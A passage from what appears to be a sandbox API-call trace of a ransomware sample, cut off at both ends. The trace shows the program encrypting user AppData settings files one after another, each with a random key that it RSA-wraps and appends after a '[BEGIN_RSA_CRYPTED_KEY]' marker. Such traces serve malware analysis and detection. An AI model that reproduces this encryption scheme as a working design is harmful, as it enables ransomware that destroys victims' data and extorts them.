pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="29ERfLJPhKCgZnlqvxkda1K/DiPnjb8yGjIuo3BXe40z6BQ14QhiW0VVkmSmU+nZ\nMIIx46xfzbpxTqYsW5H8/b6lFfqOi/RCfT4Sz8QvpYO055GPMjsTKJ4AnbbMUyev\nU+B5b7vg2OImeyXE0lrHxd+byctXHoYFRNBfJgmngcAwRpHY25oevRpxhVE+6TOB\nqXdLAECOtIYX/oKAjFVC8HLa2Sxe25skA5SWbzwUUOP/0/o0RHnmi9FAq7h+o+Rh\nR3WdFWUcFN0Y6nOlpLuglVZjRxQIAb32RWY22pUWXpZZPbNRz1aTqxAr2Sd6Jwzm\n6gmyzaZMRMfmbCV9A/6OjQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.986] WriteFile (in: hFile=0xbc0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.986] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.986] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.987] CloseHandle (hObject=0xbc0) returned 1 [0194.989] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.989] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0194.989] ReadFile (in: hFile=0xbc0, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.057] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.057] WriteFile (in: hFile=0xbc0, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.057] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.057] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.057] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wj5ql2/HMZkRxRoqt4ca86xRH7AMv8RI4jnnKW8CtoWIhFrkiQl6H6+v+2X4nP8b\nuXTq1r7nbJiDzeZIFICTlSr2ANuIXTabpX8C4zpdDMhO15XZykebNODvrZXKTJQz\nci3uy9fKwkLYczqnhAGIZA2pZK6uE2dLnqshOwJnSlaX5ZOgNcU/dQJO7iOXhzD2\ngo0UYiu2l7ETzIWYMxyF4lZc6B8WqXagHFxCKSlSztuxQLM9gnlF1MgLUNTwi6iq\nbwICk9l0d2UCBAB71ts2/cVfWEpbStPAaeSSbH9RhZ8vZdHVPFIoYqoWlAdBTbI5\ncuLfTlXJGc9NKoTwdEseRA==\n", pcchString=0x2e3f9a8) returned 1 [0195.058] WriteFile (in: hFile=0xbc0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.058] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.059] CloseHandle (hObject=0xbc0) returned 1 [0195.064] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.064] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.065] ReadFile (in: hFile=0xbc0, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.093] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.093] WriteFile (in: hFile=0xbc0, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.093] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.093] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.094] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.094] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.094] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.094] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bxgtuMaLPC9Ofj49WW/D0sM0+Nv3hOxGAo1pb5P4OSaSpzaFSQG9/fPGlW8Zlm5P\nDS7MbV/o9q5Xmh9gtrhXckULravR5h+HvWCbhfDXuFKp4ULowi9j1jOufDnz+8fm\nrx6eNDlxquXAEw/aSAWpS+Ca1SDUsvcwo0vG8Secn00YuDgVu14On/baZcBgjUF6\nHHvUFMl/geFe10MP2TRxBbOdOTXIVNsLAD2TbgFldVmpWwLLn3aJWgsk7el56yGN\nI5S6VCnfmX0jlwZBIn6b0B/UPHMjIZBas6DHVuKsstRCbMamD+m9AWd62r5hior3\njzMZBta7RHPokHK1xDk/OA==\n", pcchString=0x2e3f9a8) returned 1 [0195.094] WriteFile (in: hFile=0xbc0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.094] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.094] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.094] CloseHandle (hObject=0xbc0) returned 1 [0195.096] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.096] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.096] ReadFile (in: hFile=0xbc0, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.096] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.096] WriteFile (in: hFile=0xbc0, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.096] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.096] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.096] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b4RvuAtfTpd7vfLwI28coEooZERyq7Ufy0hiF3eCVhdc9dP1Dc2I2GzDoBla0vY1\njsQOE0sz7ln04S9D+ZNVjdLFSMhgg1yxx8+dsyXy4tIXCl7CqvzNot71rGE11aKL\n9sOf/N2OSAWh2ilo1GDr/59CXRawmkjaXikPu4yZTT8Wj+sp35m/BjcoMMI0YQ4p\ngl5Gvdn4uDmRKSbDfwTSFVxmBgknDnLECeZiuCgEQT920GhM6FyjuElrRA9MPyfM\nCEuhCPsfBrIDfEthuaN2eMW1Wf8fcqBE9FOtsCHJn70uGduUriCkTqj7F/9Zp3MI\ng9p/rg1XA1fAsz4ffAHtPg==\n", pcchString=0x2e3f9a8) returned 1 [0195.098] WriteFile (in: hFile=0xbc0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.098] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.098] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.098] CloseHandle (hObject=0xbc0) returned 1 [0195.100] WriteFile (in: hFile=0xbcc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.101] CloseHandle (hObject=0xbcc) returned 1 [0195.102] WriteFile (in: hFile=0xbcc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.103] CloseHandle (hObject=0xbcc) returned 1 [0195.103] WriteFile (in: hFile=0xbcc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.104] CloseHandle (hObject=0xbcc) returned 1 [0195.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.105] ReadFile (in: hFile=0xbe0, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.105] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.105] WriteFile (in: hFile=0xbe0, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.105] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.105] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.105] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.106] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.106] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mE+KaJqJESqmyTPOpbMBi7SVyGoGGUTslmbqzoNhoZWG3BBP9nS/JcBmp5Dk0ZMf\nsosxG0BEKagtIjZ3mVCEvGDdtfARPVaMhe7ExdOtWJQded+mv3fvy5f1NbGUE2Vs\nA14AhWSCAcC1RAXBsp/udFjacq16971KxaPeq2uLAoDA7wjvfzsvUeFN6UICnHNd\nKdATC+vRDyEBotMhk8x0icOoSFAdeNr68BH23XdAzkHDgs049ZeJqwb+M1bsx10f\nRQO5UvWNEJt03CpAyYM2UXiLWaKqs2oMaU9HTsgB419B3a/a4aJ0aFDH0UXHJGle\nj8ftmxYSAskxEyX/0WFEOg==\n", pcchString=0x2e3f9a8) returned 1 [0195.106] WriteFile (in: hFile=0xbe0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.106] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.106] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.107] CloseHandle (hObject=0xbe0) returned 1 [0195.108] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.108] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.108] ReadFile (in: hFile=0xbe0, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.163] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.163] WriteFile (in: hFile=0xbe0, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.163] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.163] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VC0VWxZpFd1l2msaW00wFciEv6VqqPcZAIuU2Y35w8DrhdSMap2qrFDrIUWXhcR1\n/PwYVPAw0VmuxqL92mqQXzLhJYaPGFeUC0PzwDkw07TV4PcCbx6rEoEWb3IgUCkg\nePAE9wqu7GXY1Io2X3xU+dz20FJfFMZI+/GfJWCUfmFj0o70/t6iqFCZAQLPys6D\nFxxDUjK7HCb47FBcrRixIEqH9rw7PnOHIguW20+FW3+eZ61g0EVB2Uavd6PY/9dv\ntpcQgHa1b/S3DNoDo/PV3yuNe8FQMCFqV72QJv/CB7iwRMjoet3OZkhdSOKbCW1w\nB3ycB9jgOSCvR0XaVh7ogA==\n", pcchString=0x2e3f9a8) returned 1 [0195.164] WriteFile (in: hFile=0xbe0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.164] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.165] CloseHandle (hObject=0xbe0) returned 1 [0195.166] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.166] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.167] ReadFile (in: hFile=0xbe0, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.177] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.177] WriteFile (in: hFile=0xbe0, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.178] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.178] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.178] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.178] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LvFSnEAualKf21z59fVeT6yo//fav54jw3NIE+8stip5jb+gbHpuysHp7/K6Wb1H\n1LYaoPA7S4gPR5dnrBgvLE/JMN+NOgkkkAUVtQFpionNfkwB1u9bltehyfXNF2K2\nNNc6eBMxPkyBts0hHPl6dHQzUCJvNjKqLAihkd7AGeKbmbpaFmf3TM6Hj5B9fq/j\nT6FAz4bvAzpUwHMusjgacZTGj1LhJaYKJxYq/OnShA9R39cGUlLwPKQ9IvfhyqH5\nYX1O3Rliihqhgqd4kajXNr/ArQ9PEg5J2A9H2bZBbAfpZ0ed+y0r3bG2mZZGJMcE\nrjS8GMZs56F8tC/Ag1UeJg==\n", pcchString=0x2e3f9a8) returned 1 [0195.179] WriteFile (in: hFile=0xbe0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.179] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.179] CloseHandle (hObject=0xbe0) returned 1 [0195.180] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.180] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.181] ReadFile (in: hFile=0xbe0, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.181] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.181] WriteFile (in: hFile=0xbe0, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.181] SetFilePointer (in: hFile=0xbe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.181] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.181] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, 